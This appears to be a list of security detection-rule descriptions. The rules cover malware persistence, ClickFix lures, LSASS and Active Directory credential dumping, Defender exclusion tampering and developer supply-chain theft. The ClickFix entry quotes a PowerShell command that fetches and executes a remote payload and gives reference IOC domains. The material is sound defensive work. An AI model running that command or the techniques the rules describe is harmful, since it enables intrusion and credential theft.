This rule detects a specific persistence technique used by AvisLoader malware. It monitors for the creation of a .lnk.backup file alongside a corresponding .lnk shortcut modification in common shell locations (Desktop, Taskbar, etc.), coupled with the execution of wscript.exe or cscript.exe referencing the 'VLCAssistant' VBScript within a short time window. This sequence indicates an attempt to persist malicious activity by backing up existing shortcuts and replacing them with a launcher for the AvisLoader payload.
This rule detects suspicious PowerShell execution initiated by a Node.js process (node.exe). It monitors for command lines containing common bypass flags (-NoProfile, -NonInteractive, -ExecutionPolicy Bypass) and a specific string pattern 'wra-ps-', which is often associated with malicious scripts or remote access trojans (RATs) being executed via a Node.js application.
Detects anomalous activity from IDEs or AI coding assistant extension host processes (e.g., VS Code, Cursor, JetBrains). The rule alerts when these processes spawn children that access sensitive local credential files, perform network connections to non-standard/unexpected domains, or modify critical CI/CD build script configuration files, which is indicative of a supply chain compromise within the developer environment.
Detects signs of the ClosedQuorum implant by correlating at least two redundant persistence mechanisms (Registry Run keys, Scheduled Tasks, WMI execution) on the same host within a 10-minute window. The rule focuses on artifacts originating from suspicious user-writable paths or unsigned binaries, while excluding known legitimate installation paths.
This rule monitors for coordinated persistence efforts by detecting the occurrence of at least two out of three specific persistence techniques (registry run key modification, scheduled task creation, or WMI-based script execution) on the same device within a 30-minute window. It explicitly filters out activities from signed binaries or those occurring in standard system/application directories, focusing on potentially malicious artifacts originating from user-writable locations.
Detects potential process injection attempts (e.g., Early Bird APC injection or process hollowing) where a process is spawned in a suspended state, followed shortly by a remote-thread or QueueUserAPC injection primitive targeting that same process. The rule correlates process creation events with subsequent API calls while excluding known legitimate patterns like .NET runtime operations, system updaters, and EDR/AV security components.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the use of the ntdsutil.exe utility to create an Install From Media (IFM) backup. This technique is often used by adversaries to create a copy of the Active Directory database (NTDS.dit) for offline credential extraction.
Detects the installation and execution of Cloudflare Tunnel (cloudflared.exe) as a Windows service. Adversaries may abuse this utility to create unauthorized persistent network tunnels, enabling covert remote access to the internal network. This rule correlates process creation events involving 'service install' or 'tunnel run' commands with Windows service installation events referencing the cloudflared binary.
Detects the execution of pypykatz or Python scripts invoking pypykatz commands to perform credential dumping, specifically targeting LSASS memory or minidump files.
Detects a process initiating a memory dump of lsass.exe (using --dump arguments) followed within 15 minutes by the creation of a hexadecimal-named .tmp file in the Windows\Temp directory. This behavioral pattern is characteristic of credential dumping using reflected cloning or similar techniques, followed by the staging of obfuscated or encrypted minidump data for exfiltration.
Detects the execution of MSI installers from user-writable directories (e.g., Downloads, Temp, Public) that masquerade as legitimate software applications like Spotify, Zoom, or Microsoft Teams. This behavior is indicative of 'ClickFix' style social engineering lures, where users are prompted to download and execute malicious installers.
Detects the ChainScript RAT, executing via a masqueraded Node.js process, enumerating Local Extension Settings for browser wallet plugins. This reconnaissance activity is a precursor to exfiltrating crypto wallet data.
Detects the use of PowerShell cmdlets (Add-MpPreference or Set-MpPreference) to modify Microsoft Defender exclusions (paths, processes, or extensions). This behavior is often associated with adversaries attempting to evade security detection by excluding malicious files or processes from being scanned by Microsoft Defender.
Detects reconnaissance and situational-awareness collection commands (e.g., tasklist, systeminfo, wmic, powershell) executed by processes matching suspected persistence artifacts associated with known malicious activity (specifically referencing potential Telegram C2 tasking). The rule monitors common discovery utilities spawned by suspicious process names or paths.
Detects a coordinated malicious installation chain involving the creation of specific mutexes, establishment of persistence via Windows Registry Run keys, and subsequent tampering with Microsoft Defender exclusions using PowerShell. This sequence is indicative of the CHOSEN BRICK malware installation process.
Detects processes spawned by Terraform or Go (e.g., during init, apply, or run) that exhibit suspicious access to local cloud credential files (AWS/Azure/GCP) or Terraform state files. This behavior is indicative of a malicious module attempting to exfiltrate cloud credentials from a developer's workstation or a CI/CD build host.
Detects web or application server processes (Apache, Nginx, IIS, Tomcat, PHP) spawning command interpreters or scripting engines. This behavior is indicative of a post-exploitation activity where an attacker executes commands following a remote code execution exploit against the web application.
This rule detects potentially malicious usage of msiexec.exe where the command line contains obfuscation techniques such as excessive spacing, Unicode character substitution, or suspicious case variations. It specifically looks for activity initiated by common shell processes like explorer.exe or cmd.exe that involves the /package argument or URL-based loading, which is a common indicator of MSI-based payload delivery.
Detects the execution of 'ClickFix' or 'fake-CAPTCHA' patterns where a user is tricked into copying and pasting a malicious command into the Windows Run dialog. The rule specifically identifies the launch of conhost.exe from explorer.exe with --headless arguments, utilizing command-line tools like curl, iex, or irm to fetch and execute external payloads.
